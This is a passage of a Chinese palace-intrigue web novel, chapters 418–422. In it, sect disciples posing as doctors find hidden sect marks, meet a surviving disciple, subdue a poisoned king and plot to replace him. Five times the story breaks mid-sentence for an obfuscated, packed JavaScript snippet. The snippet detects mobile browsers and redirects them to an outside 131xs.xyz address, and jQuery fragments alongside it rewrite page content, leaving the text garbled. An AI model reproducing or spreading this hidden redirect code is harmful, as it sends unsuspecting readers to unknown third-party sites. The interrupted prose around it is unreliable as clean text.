岑灵川终于开了口,语气低哑,细听似乎还带着一阵颤抖。 叶晚竹闻言一惊。 按照岑灵川的说法,浮山派早已覆灭,随着师傅的离世,更是进入了彻底的沉寂。 浮山派的记号,怎么会出现在南疆的王宫之中? 岑灵川这时候又在检查着其他的纸包,果不其然,每个上面都有一个浅淡的记号。 看上去,这绝对不是什么意外。 “会不会是有人冒充?”叶晚竹看着几张纸上一模一样的符号,忍不住眉头紧蹙。 天问那秃驴的身影也跟着跳进了脑海当中。 岑灵川却摇了摇头。 “浮山派早就不复存在,这符号是当年门派内部所用,外人甚少得知,况且……” 低声呢喃着,岑灵川的手又在纸上轻轻扫过。 “这符号的画法也很熟悉,我觉得做不了假。” 那也就是说,浮山派还有弟子活着? 岑灵川的呼吸变得有些急促,“我要去看看!” “二位!” 几乎同一时间,院外响起了小太监的声音。 “二位可准备好了?” 屋外阳光明媚,到了该给南疆王诊脉的时辰了。 叶晚竹收回目光,和岑灵川对了对眼神,用口型说了两个字。 我去。 岑灵川尚懂医术,多少能在南疆王面前掰扯些什么出来,若是换了叶晚竹,她可没有那种本事。 还不如抓紧时间查查这浮山派的符号。 抿了抿嘴,岑灵川无声地点了点头,旋即大步朝着屋外而去。 房门一开,那个小太监连忙点头哈腰地朝着他躬身,“二位请吧!” 一边说着话,小太监一边偷眼往岑灵川身后瞧,却只看见了一片空荡荡。 “我刚刚又想出了一个方子,还需进一步推敲和实验。” 岑灵川这会儿心乱如麻,勉强才能控制心绪,他定了定神,“今日师妹留下,一会儿还要去寻几样药材回来。” 这二人向来是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266417|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同进同出,眼下乍一听到这句,小太监也不由得愣住,“这……” “这什么?” 岑灵川垂下眼皮,忽然就没了惯常的嬉笑模样。 “你还要让王上等多久?” 小太监猛地打了个哆嗦,连忙垂下脑袋在前面引路,一句多余的话也不敢再说。 直到两人离开,四下无声,叶晚竹才将那几张纸收好,又换了身衣裳往外走。 顶着游医的身份,她在宫中行走自然是受限的,叶晚竹找了几个宫人,这才寻到了方才来给他们送药的那个小太监。 为了拖延时间,岑灵川和叶晚竹索要了不少宫中没有的稀缺药材,南疆王也一概配合,让人花重金到民间四处采买。 听叶晚竹问药材的来处,小太监的脸色忽然变白,语气也支支吾吾的。 “您,您问这个做什么?” 这模样一看就有问题,叶晚竹立刻皱起了眉,“怎么回事?” 小太监身子一哆嗦,扑通朝着叶晚竹就跪了下去,“奴才该死!奴才该死!” 不等叶晚竹再说什么,他便竹筒倒豆子一样,噼里啪啦地说了起来。 他本是宫中一个寻常太监,此番被随手点来,专门负责运送从宫外给叶晚竹和岑灵川找来的种种药材。 两人提出的要求千奇百怪,送来的东西也多,小太监一天到头,总要来回往返于宫门和二人的小院之间,时间一长便忍不住生出了惰性。 他花钱收买了两个小宫女替自己跑腿,只要把东西送到院中的是他本人就行嘛! “……柳大夫,奴才真的知道错了,奴才保证绝不再犯!” 听着这小太监声泪俱下的哀嚎,叶晚竹顶着师姐的名号,却有些哭笑不得。 原来是一场乌龙。 “既然如此,你去把那两个宫女找来,我便既往不咎。” 小太监闻言跑得比兔子还快,不多时,便将两个同样惶恐的小宫女带到了叶晚竹面前。 听到叶晚竹问清晨药材的来处,两人你看看我,我看看你,都露出了迷茫的神情。 “不是奴婢——” 第四百一十八章 找到你了 二人异口同声,又齐齐顿住,眼底的神情越发惊诧。 “咚”地一声,那小太监双腿一软,无声无息地摔倒在地! 完了,完了! “你们没拿,那包药材是从什么地方来的?”叶晚竹这时候眯了眯眼。 小宫女仍是一脸迷茫,二人今天压根就没有接到取药材的消息。 小太监则是哆哆嗦嗦,用尽了全身的力气才站起来,双腿不断地打着摆子,声音也跟着发虚。 “奴才方才听到有人来,来敲了敲门,出去便看到药包放在外屋……” 他这段时间也跟着叶晚竹和岑灵川住在这间小院里,看到药包也没多想,只当是自己拖拖拉拉赖床耽误了时间。 想到这儿,小太监的表情变得越发心虚起来。 叶晚竹斜晲他一眼,再看向那两个小宫女,后者终于弄明白发生了什么事情,也开始吓得哆嗦不止。 “奴婢们什么都不知道啊!”两人也朝着叶晚竹跪了下去。 “王上身中蛊毒,情况不妙,定是有人想趁虚而入。” 眨了眨眼,叶晚竹压低声音,显得十分严肃。 “而你们这些偷奸耍滑的,竟然还故意为之,给他们可趁之机!” “奴婢有罪!” “奴才该死!” 三人被叶晚竹这一番话吓得,说是马上就要魂飞魄散也不为过,跪在地上砰砰地磕着响头。 叶晚竹停顿了片刻才继续道,“这药材肯定是有什么问题,我要去悄悄查证,该怎么做,你们都知道的吧?” 小太监磕头磕得脑袋上满是血迹,他战战兢兢地压低声音,“知道!方才什么都没发生过!” 两个小宫女也跟着连连点头。 “知道就好。”叶晚竹站起身来,“我现在就要出宫,我离开之后,不许任何人进入这间院子!” “是!”小太监又开始磕头,“奴才就守在屋门前,绝对不让任何人进去!” 吓唬了一通三个小宫人,又让他们对自己离宫之事保密,叶晚竹离开王宫,朝着王都最热闹的几条大街而去。 浮山派的人给岑灵川送来这样隐秘的消息,为的是什么? 他们又是怎么知道岑灵川的身份的? 思考着,叶晚竹感到自己的心里沉甸甸的。 她避开浮山派的那个符号,将包药的纸扯下来一角,拿去让城里几家医馆都瞧了瞧,却没得到结果。 从最后一家医馆里走出来,叶晚竹倒也并不气馁。 浮山派的人有心和他们取得联系,定会随时盯着城中的动静,她今日这番举动,想来很快就会得到反应。 她只需要等待。 在王都最大的酒楼要了包间和饭菜,叶晚竹独自一人坐在安静的屋中,听着街上不算喧闹的动静,忽然有种物是人非的感觉。 因为南疆王的情况,本就不算热闹的王都现在更是冷清了两分,叶晚竹初来时在街上看到的模样,眼下也不复存在。 大梁的京城更是彻底成了一团乱麻,城门至今还没有打开。 再想想留在京郊安王别院的那些人,还有不知道多久没收到的消息,叶晚竹吐出一口气,越发感觉心绪漂浮不定。 “客官,您要的饭菜来了!” 叶晚竹的思绪是被小二打断的,她抬起头,若无其事地看着小二殷勤地上前摆放碗筷。 然后,一个纸团便借着大大小小的碗碟被塞到了她手中。 “客官慢用,有什么事您吩咐就是!” 小二笑容灿烂,看不出一点儿方才做过什么的痕迹。 叶晚竹同样不动声色,等包间的门关上,这才低头将纸条展开。 上面写着个地址,看名字像是武馆,落笔处画着一个笔锋细长的符号。 没想到这些浮山派的人竟然动作这么快。 烧掉纸条,叶晚竹不紧不慢地用了午饭,又向小二打听了武馆的位置,这才前去。 正值午后,武馆里没有学生,站在门前接待的小二靠着廊柱打瞌睡,连叶晚竹径直走了进去都没有发觉。 叶晚竹一口气走到二进的院子,才和门廊下的一个年轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266418|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子对上了视线。 “武馆中午休息,若是有事,请下午再来吧。” 那女子一身劲装,瞧着也是个练家子,说话的时候一双眼睛十分锐利,在叶晚竹身上不住地扫来扫去。 叶晚竹笑了笑。 “你们请我前来,就这么休息了吗?” 女子的神情顿时变得更加警惕。 “岑灵川是我师兄,”叶晚竹见状索性不再绕弯子,“我是天清子大师的关门弟子,我姓叶。” 说着话,她又把岑灵川的玉佩拿了出来。 盯着那块玉佩看了几眼,女子周身冷冽的气质缓和下来,却又抿紧嘴唇,飞快地朝着外面扫了扫,才压低声音。 “进来说话吧。” 叶晚竹跟着她又往武馆深处走,直到演武场地全部消失,身边变成了普通人家宅院的模样,那女子才停了下来。 二人在一间不大不小的屋中相对而望。 “你是什么人?”叶晚竹率先开口,“浮山派的弟子?” “你又是什么人?”那女子把问题抛了回来,“我从未听说过天清子大师有姓叶的徒弟。” “或许是因为你们久居南疆,对大梁的消息接触不到了吧?” 看着满屋的南疆风情,还有这女子的一身衣裳,已经完全融入了王都的风土民情之中,叶晚竹笑了笑,语气很淡。 “师傅与我外祖母是故交,受她所托收我为徒,这件事在大梁不是秘密,你可以随便去打听,”她又晃了晃那块玉佩,“几位师兄师姐都知晓我的存在,此事不用你一个外人怀疑。” “倒是你,远离大梁多年,不知是浮山派哪位师叔的门下?” 叶晚竹直勾勾地望着眼前的女子,她看上去比自己略微年长几岁,不可能是师傅的同辈,那就只能也是浮山派流落在外的弟子了。 女子迎着叶晚竹又看了两眼,终是下定了决心般低声开口。 “家师姓鲁,是天清子大师的师兄。” “当年,我们是受师傅的命令,到南疆来调查苗师叔和血蛊的。” 第四百一十九章 大夫!大事不妙! 叶晚竹从前在师傅口中听说过这位鲁师叔的只言片语。 她点点头,这女子便又继续讲了起来。 当初,浮山派遭遇了血蛊的**之后,门派众人群情激奋,要将始作俑者苗师叔赶下山,当时的掌门人也是这么做的。 可等事情稍稍冷却几日,当时的大师兄鲁修文却悄悄叫来自己身边的几个弟子,让他们收拾东西,立刻出发前往南疆。 据他的想法,苗如海能做出这样的事情,绝对不是一个人能办到的,说不定其后还有什么样的势力。 为了知己知彼,他们得暗中摸排,找到苗如海的真正底细。 “我们一行十二人悄悄离开浮山派,只有师傅和师祖知道,对外则是说下山游历。” 叫符绮的女子声音低沉,眼中带着追思,又变成了痛楚。 “可我们刚到南疆,还没来得及做什么,就听到了门派覆灭的消息!” 她重重一拳砸下,捶得桌子都跟着摇晃起来。 “师傅给我们送来了最后一封信,让我们不要回去,就当从来没有在浮山派学艺。” “可,可我们怎么能?” 怎么能丢下门派,自己苟活,还当做什么都没有发生过的样子? “我们悄悄返回浮山附近探查,得知了果然是苗如海干的好事,”符绮抬手擦了一把眼泪,“反正我们到南疆来就是干这个的,大家一致同意,要回来报仇!” “我们到王都开了这家武馆,养活自己的同时也能探听些消息,可那苗如海还是快了一步,建立了血月教,还靠着那阴毒的血蛊招兵买马,发展壮大。” “怎么都赶不上苗如海扩张的速度,我们只能蛰伏待机,”她的声音又阴郁下去,“可没想到……” 没想到,还没等他们发展出什么规模,血月教内部先乱了起来! “苗如海的背后就是那个叫天问的和尚!” 符绮一语道出,又忍不住捶了捶桌子,叶晚竹的神情也跟着变得专注。 “不知道血月教内部发生了什么,总之打得十分惨烈,我们收到消息前去的时候,正赶上天问和尚带着大批血月教的信徒离开,而苗如海身边只剩下了一小部分亲信,洞府也被烧得一干二净。” “经由此事,原本发展得热火朝天的血月教顿时半死不活,只剩下最后一口气,苗如海在亲信的护佑下四处逃亡,我们派人一路追杀,可那孙子狡猾得很,一直没让我们找到。” “后来,不知怎么,姜师叔发现了苗如海的行踪,她设计将血月教仅存的那些人全部截杀。” 符绮口中的姜师叔就是天清子大师,这个名字,是浮山派覆灭之后,师傅自己改的。 叶晚竹眨了眨眼,“那你们呢?” 符绮露出一个苦笑。 “我们暗中帮了忙,可却没脸出现在师叔面前。” 门派遭逢大难,他们无能为力也就罢了,就连给门派复仇都做不到,还得劳动师叔出手,这件事曾经让符绮等人非常挫败。 “苗如海死后,一些东西才变得好查起来。” 定了定神,符绮继续说了下去。 “我们发现,苗如海一直都在继续血蛊的研究,而那些结果全都被天问和尚拿走了,就连血蛊的宿主,也都被他在那次**中一并带走。” “天问和尚抹去了血月教的大部分记录,转而将自己拿走的一切隐入地下,血蛊不仅害了浮山派,还在继续害人,我们这些年来一直都在和他暗中斗争。” 说到这儿,符绮忍不住叹了口气,面上浮现出无比疲惫的神色。 “那秃驴手下也不知道有多少势力,我们根本奈何他不得,我们的手段更是撼动不了他的地位,随着时间推移,大伙儿差不多都已经放弃了。” 反正苗如海已经**,也算了却他们的一桩心事。 “不过我们还在关注着天问的踪迹,几个月前他忽然去了大梁,又忽然铩羽而归,之后还变得越来越混乱,我们又觉得似乎找到了机会!” “是你们吧?”符绮歪着脑袋看向叶晚竹。 叶晚竹毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266419|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吝啬地点了点头。 “不错,天问秃驴在大梁惨败而归,就是我们干的。” 符绮立刻露出了一个笑容,“太好了!” 坚持了这么长时间,眼看着天问的势力越发壮大,如今总算是又有了转机。 “你们接下来准备怎么做?”她又看向叶晚竹,神情中出现了一丝得色,“我们在王都这么多年,也算小有收获,可以帮你们做些事情。” “只是小有收获吗?” 叶晚竹不由得笑了笑,“连王宫里的下人都能支开,师姐还是莫要说笑话了。” 她一语道出,符绮却僵了僵。 “支开宫人?这,这是什么意思?” “不是你们?” 看着符绮的模样,叶晚竹的心跟着打了个突。 “送往宫中的药包,还有上面的浮山派花纹,难道不是你们做的?”她的语气有些急促。 “这倒是……”符绮的眉头也皱了起来,“可我们是买通了宫门的嬷嬷,用清尘堂的名义把药送进去的……” 清尘堂是从前浮山派中的药房,岑灵川出现在王都的时候,武馆里的人便认出了他,符绮费了不少功夫打点,才想到了这个办法。 “你们也不知道我和师兄假扮游医揭皇榜?” 听着符绮的话,叶晚竹的一颗心沉得更是厉害。 符绮又在摇头,“完全不知。” 她送药的这个主意,还是因为游医频频让人出宫采买才生出来的。 闹出了这么大的误会,这其中,肯定有什么问题! “符师姐,”叶晚竹当机立断站起身,“宫中这会儿可能出了什么状况,你愿不愿意随我入宫一趟?” “当然。” 王宫不能随便出入,可叶晚竹声称自己带回来的是从师门请过来的圣手,宫门前的守卫也只能向上请示。 不出片刻,一个太监便连滚带爬,脚步飞快地朝着叶晚竹冲了过来。 “诶呦!柳大夫!您总算是回来了!大事不妙啦!” 第四百二十章 王上毒发了! “怎么回事?” 认出眼前的人是南疆王身边的贴身大太监,叶晚竹的心沉了沉。 大太监德水皱着眉头,语气急促,“王上,王上又毒发了!” 叶晚竹的眉头也跟着一皱。 果然没好事! 她和岑灵川解不开南疆王的蛊毒,这段时间,他一直都在靠着从国师身上找到的药丸抑制毒性。 有药物的克制,蛊毒怎么还会随便发作? 听着叶晚竹的问话,德水也是一脸的茫然,“这,这个奴才也不知道啊……” “柳大夫,您刚刚说,这是您找来的圣手?”他又把注意力投向了站在一旁的符绮。 忽然被点到名字,符绮想躲都没地方去,强自镇定地点了点头。 “不错,这位是我的大师姐。”叶晚竹也从思绪中回过神来,一本正经地介绍着。 闻言,德水眼中闪过一丝光芒,“太好了!请二位神医快随奴才去瞧瞧王上的情况吧!” 叶晚竹仍是一脸严肃,让德水先回去禀告。 “叶师妹,你这是要怎么做?” 德水刚一离开,符绮便忍不住压低了声音,又攥着叶晚竹的衣袖。 “我只会**,不会医啊!” 她拜师浮山派的时候,就是为了学一身好武艺,从来没和医术沾过边! “我现在姓柳。” 叶晚竹掐住符绮的手腕,一边低声说着话,一边拉着她快步往寝宫方向而去。 “大师姐别担心,我也不会医。” 她一语道出,听上去语气还有些俏皮,符绮忍不住瞪大双眼,一脸空白地望着叶晚竹。 “我师兄也是个半吊子呢。”叶晚竹继续说着,还耸了耸肩。 “那,那你们……” 符绮的表情不由得变得极其复杂。 她是怎么也想不到,两个不会医术的人,是怎么敢揭皇榜,当大夫,还给南疆王治病的! “反正他身上的蛊毒也好不了。” 叶晚竹又说了实话,符绮听得眼角都跟着抽抽了起来。 所以她这两位师弟师妹,是在拿着南疆王的命开玩笑啊! “一会儿进去,你自由发挥就好了。” 眼见寝宫已经出现在不远处,叶晚竹晃了晃符绮的衣袖,语气认真。 “只要能让南疆王安静下来就行。” 这个时候,二人已经能听见寝宫中传来了阵阵属于南疆王的嘶吼,他似乎正在经受着极为痛苦的折磨。 符绮的半边脸这下也跟着一起抽抽了起来。 她忽然有些后悔了。 为什么要联系岑灵川? 可惜现在后悔已经晚了,硬着头皮走到寝宫外,符绮一抬头,就看到了刚刚见过的太监德水,正一溜小跑着从殿里出来。 他的衣袖被扯拦了一大块,随风飘扬着,场面瞧着有些好笑。 “二位快进去吧!” 比起刚才,德水的神情也带上了几分慌张。 “王上,王上开始动手了!” 他脸上多了一道被挠出来的伤疤,叶晚竹扫了一眼,便和符绮快步往殿中走去。 扭打的声音果然正从里面传来,宫人跪倒一地,岑灵川一只脚踩在龙床上,正双手牢牢桎梏着南疆王的动作。 “王上!你冷静一点啊!”他咬牙切齿地警告着。 “放肆……放肆!”南疆王喘着粗气,同样在奋力抵抗。 “来个人帮帮忙啊!都跪着干什么!” 岑灵川十分崩溃,这些太监,关键时刻没有一个有用的! 小太监们跪在地上,闻言还是不敢乱动。 刚才德水公公可是上去帮忙了,结果呢? 被王上一巴掌就扇到地上去了,差点儿把他的胳膊撕下来! 他们不敢再动了啊! 岑灵川呼哧呼哧地喘着粗气,不知道是蛊虫还是印记的加持,南疆王身上分明看不出习武的痕迹,可却力大无比,他也只能坚持一时。 “师兄!” 叶晚竹这时候终于上前,听见这熟悉的声音,岑灵川差点儿泪流满面! “师妹,快快快!” 他马上就要坚持不住了! 叶晚竹走到南疆王身边,接过他的一条手臂,立刻感到一阵大力猛地朝自己砸了过来! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274212|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她胸口一窒,手腕也跟着发软,好悬没让南疆王挣脱束缚。 “这是……”她皱着眉朝岑灵川投去一个眼神。 岑灵川不动声色地摇了摇头。 他今天早上来到寝宫的时候,南疆王还在睡觉,这是正常现象,岑灵川便坐在外殿等候。 自从中了蛊毒,南疆王一日的大半时间都在睡觉,除此之外并没有什么多余的反应。 可就在半个时辰之前,内殿里忽然传来他的喊叫声,岑灵川等人冲进来一看,便见着南疆王已经醒了过来,却手舞足蹈,躁狂不安,还不停地要攻击出现在眼前的所有人! 岑灵川已经在这里跟他缠斗了大半晌,眼下浑身是汗。 “得想个办法,先让王上安静——”下来! 他一句话还没说完,南疆王忽然大吼一声,猛地抬起胳膊,竟然挣脱了岑灵川的禁锢! 岑灵川手腕酸软,和叶晚竹说话一时不察,被他钻了空子,见状立刻眉头一皱,抬手又跟了过去。 叶晚竹死死抓着南疆王的另外一只手腕,却也被这股力气冲撞得踉踉跄跄。 “滚,都滚!”南疆王含混不清的呓语从口中不断溢出。 他又一摆手,这回叶晚竹也禁不住他的力道,被狠狠甩飞在龙床一旁。 “师妹!” 岑灵川只顾得上往那边看了两眼,不得不先追南疆王,后者这会儿已经要朝着殿外飞扑而去了。 “别动!” 宫人们见状惊恐地四散逃跑,符绮大喝一声,迎着南疆王便也扑了上去! 南疆王从喉咙里发出更加愤怒的吼声,抬起拳头就朝符绮砸下。 符绮闪身躲过,同时飞身而起,一掌劈向南疆王的脖颈! 南疆王是凭着本能攻击,不会躲闪,硬生生地接下了符绮这一掌,只是身子晃了晃,而后便再次大吼着要对她挥拳。 “小心!”岑灵川见她没有躲闪的意思,连忙高声道,“王上此时有怪力!” 这个时候,南疆王的拳头已经到了,擦着符绮的耳朵挥了个空。 符绮侧头闪开,同时也挥起拳头,狠狠朝着他的下巴捶了上去—— 第四百二十一章 厉害的师门 “砰”地一声巨响,南疆王被打得脑袋上仰,身子也狠狠向后! 他踉跄两步,被迫拉开了和符绮的距离。 符绮却没停手,又紧跟着上前两步,双手抱住南疆王的脑袋,胳膊发力。 “你,你这是要干什么?放开王上!” 德水刚走进殿中便看到这番景象,连忙惊声大叫! 王上的脸都被勒成紫色的了! “闭嘴!” 感到手下的人挣扎得越发厉害,符绮大吼一声,又多用了两分力气。 南疆王奋力挣扎,不停地蹬着双腿,终究是敌不过符绮的胳膊,片刻后双眼一翻,晕倒了过去。 他的身子软软地滑下,德水胆战心惊地要上前,却被岑灵川拦住了。 “王上的状况不对劲,今天寝宫里都有什么人来过?” 甩着手腕,岑灵川开口时压低了声音,语气却很冷酷。 他这只手腕被南疆王用力甩了一把,现在疼得要命,大概是伤到了筋骨。 以南疆王自己的本事,不可能把他打成这样。 德水看着被放在地上就开始检查的南疆王,再听着岑灵川的话,忽然就打了个哆嗦。 “没,没人来过……” 大臣们想来探望,那也是在南疆王醒着的时候,王上睡了大半天,一应求见的折子都被挡回去了。 “那就是你们内部出了问题。” 岑灵川朝着德水靠近了一步,垂下头,眉眼显出几分阴鸷。 “不想让这样的事重演,就去查,悄悄查!” “是,是是是!” 德水连滚带爬地站起来,又做出一副问罪的模样,将殿中已经吓傻了的小太监们全部叫起来带走。 岑灵川站在原处没动,双手叉腰看着那些小太监们,试图从其中找出有什么不对劲的地方。 苍天在上,这种事情,他可一点儿都不擅长啊! 到底是哪个居心叵测的,竟然做出这种事来? 千万别让他抓到! 几步开外的小小**不能引起叶晚竹的注意,她正在仔细检查着南疆王的身体。 岑灵川的话她也赞同,除非是有外力,不然很难解释南疆王会忽然变成这个样子。 沿着南疆王的皮肤一寸一寸地检查,她伸手摸进他的头发,动作忽然一顿。 “怎么了?”符绮轻声地问。 叶晚竹屏息凝神,手上的动作也变得十分谨慎。 她缓缓地从南疆王的头顶拔出了一根金针。 “这!” 符绮倒吸了一口冷气。 “这应该就是王上发狂的原因了。” 捏着金针的顶端,叶晚竹来来**看了几遍。 没有**,也没有任何能够识别的记号。 会是谁呢? 岑灵川这时候大步走到两人身边蹲下,此刻殿中已经空空如也,他也没了太多避讳。 “天问秃驴?”他盯着那金针看了几眼。 叶晚竹却摇了摇头。 “若是天问秃驴,他直接对南疆王体内的蛊虫下手便好,何必多此一举?” 蛊虫自爆,宿主便会跟着身亡,天问那秃驴甚至不需要费一点儿力气。 况且,直觉告诉叶晚竹,天问秃驴也没有要杀南疆王的打算。 至少不是现在。 “还有人想对南疆王不利,并且就在咱们身边。” 将金针放进随身的手帕里包好,叶晚竹又挑了挑眉,“师兄,或许是鱼线动了。” 自他们进宫以来,一直安安静静,什么事情都没有发生。 现在看来,是那幕后之人终于要忍不住了。 “动得好。” 岑灵川蹲在地上,笑得有些阴鸷,“他再不动,我就要没招了!” 天天给南疆王喝些清火的方子,不治标不治本的,时间一长,肯定要被人看出问题来。 说到南疆王…… “你是浮山派的人?”岑灵川话锋一转,朝着符绮看了过去。 —— 短暂地互相认下身份后,慕丞相的到来便暂时中断了三人的交谈。 王上疑似发狂,这样的大事自然是第一时间就进到了慕丞相的耳中。 叶晚竹和岑灵川假扮游医之事,慕相也是唯二的知情人,他赶到寝宫,听叶晚竹三人讲了当时的场景,再看看那枚金针,眉头皱得能夹死苍蝇。 真是一波未平,一波又起! “我这就让人去查!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16274213|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 攥着手帕,慕相刚说了一句,叶晚竹便摇了摇头,“不可。” 为何? 慕相没说话,眼中的情绪已经十分明显。 “对方在暗,我们在明,万一他狗急跳墙,还不知道要做出什么样的事情。” 叶晚竹用眼神示意着慕相手中的金针。 此人敢对南疆王出手,实在是丧心病狂。 “既然他要对王上不利,那我们就偏不遂他的心意好了,”她低笑一声,“王上的情况越好,他只能越急。、” 而急,是最容易让人出错的。 慕丞相也点了点头。 “正好,这位是我师姐。” 叶晚竹话锋一转,将符绮轻轻推到慕丞相面前。 “有师姐助阵,南疆王的情况越发好转,解毒有望,若是这个消息传出去,应该会让这个凶手心急如焚吧。” 这次没杀死南疆王,这个凶手肯定还会再来。 叶晚竹要的就是逼他一把,要他更加慌慌张张才行。 闻言,慕相也眨了眨眼,露出一丝如释重负的微笑。 “这个简单,我现在就去安排。” “多谢慕相。” 正事说完,慕丞相便要离开,临走前还是多看了两眼已经被转移到床上,却仍是人事不省的南疆王。 “你们会尽力吗?”他忽然道出一句。 岑灵川和符绮听着这话都是一怔。 这话的内容似乎是在关心南疆王的情况,可怎么听,似乎都有些不对劲…… 叶晚竹微微挺胸,倒是露出了一个笑容。 “此事不急,慕相慢慢考虑,和身边人商量清楚最好。” 于是慕相的表情也变得有些奇怪。 他匆匆离开,再没说什么。 德水重新安排的宫人也出现在寝宫之中,听到符绮的身份,德水的脸上忍不住出现了非常精彩的神色。 你们这个师门到底是干什么的? 连游医的功夫都练得这么好? 可他不敢说话,这三位是王上的救命稻草啊! 被苦笑着的德水送出寝宫,走到无人处,岑灵川便忍不住了。 “师妹,你和慕相的话是什么意思?” 第四百二十二章 原来是冲着我们来的 他们不是真的来给南疆王治病的没错,可岑灵川听着叶晚竹刚才那话,分明是还有打算! 叶晚竹又朝着四下看了看,这才转头挑起一条细长的眉。 “师兄难道想看着南疆王继续在这个位置上坐下去?” 寝宫里的这位,背后可是天问大师,有他坐阵,南疆王是不会做出什么对他们有利的事情的。 听懂叶晚竹的意思,岑灵川忍不住咽了咽口水,“你,你是说……” “机会正好,该换人了。” 低低吐出一句话,叶晚竹垂下眉眼,却依旧挡不住锐利的神情。 岑灵川半张着嘴,瞠目结舌地看着眼前的自家师妹。 皇帝换人当? 换谁? 师妹是和慕丞相商量,难道…… “慕家在王都,乃至于南疆的名声都很不错。”看穿了师兄的心事,叶晚竹又笑了笑道。 岑灵川不得不抬手把自己的下巴合上。 不管谁当这个南疆王,这件事怎么也要他们来管? “师兄,”叶晚竹的声音又压低了些,“天问那秃驴的心思太大,大梁,南疆,还有他的故乡碧岚都有此人的动作,你敢保证其他的地方他不曾布下什么手段吗?” 岑灵川抿了抿唇,忽然就陷入了沉默。 “集中力量对付他才是最好用的办法,”叶晚竹继续道,“让这窝阴沟里的老鼠无处躲藏,才能彻底翻起来,跟我们面对面地决一死战。” “我们帮了慕家,便是多了个盟友。” “行吧。” 岑灵川改口也改得痛快,反正说到底,只要能让天问那个秃驴好看就行! 符绮走在两人身边,这会儿更是止不住地幻灭着,连眼神都显得呆滞了几分。 她都听到什么了? 换皇帝这种事情,也是轻轻松松就能说出来的吗? 她不在大梁的这些年,天清子大师的弟子们都发展成什么样子了! 三人没走多长时间便到了那间小院,叶晚竹刚要伸手推门,看见窗棂上熟悉的记号,手上的动作便是一顿。 岑灵川也看见了,清了清嗓子,转头向外。 “诶呦,又累又渴!”他伸了个懒腰,“你,去给我烧洗澡水;你,去御膳房弄点吃的,还有你……” 他一连串地说着话,把所有小太监都使唤得团团转,再脚不沾地地朝着外面而去。 院中安静下来,叶晚竹才推开房门走了进去。 屋中正坐着一个熟悉的身影。 “你怎么现在来了?” 叶晚竹有些意外地看着谢无咎。 往日他都是趁深夜前来,如此方才不引人注意。 “就是!”岑灵川也大喇喇地从外面走进屋中,“万一被人发现怎么办?冒险,太冒险了!” “师兄如此劳顿,快快请坐。” 谢无咎听见声音转过身来,施施然地朝着岑灵川先指了指一旁的椅子。 岑灵川哼了一声,很不客气地一屁股坐了下去。 “南疆王的情况也传到我那边去了,”谢无咎这才含笑看向叶晚竹,“我有些不放心,过来看看。” 他一边说着话,眼神一边朝符绮扫了一下。 叶晚竹关上房门,又简单地给二人介绍了对方。 “南疆王是被人所害,”她又提起了谢无咎刚才的话题,“我们和慕丞相商议,准备引蛇出洞。” 谢无咎不置可否地哼了一声,没说话。 这段时间,他和两人不能保持明面上的联系,两人的计划也不能参与,活得像个局外人,想到这儿,谢无咎幽幽地看了叶晚竹一眼,里面带着不少怨念。 “早知道如此有趣,就该让师兄去查南疆典籍的。”他拖长了声音感叹着。 岑灵川嘴角抽动,坐在一旁忍不住道,“我看不懂书,谢谢!” 大梁的书他看着都头疼,更别说这南疆的了! “你们打算怎么做?有什么需要我帮忙的吗?” 谢无咎恍若未闻,只朝着叶晚竹又倾了倾身,露出一抹笑意。 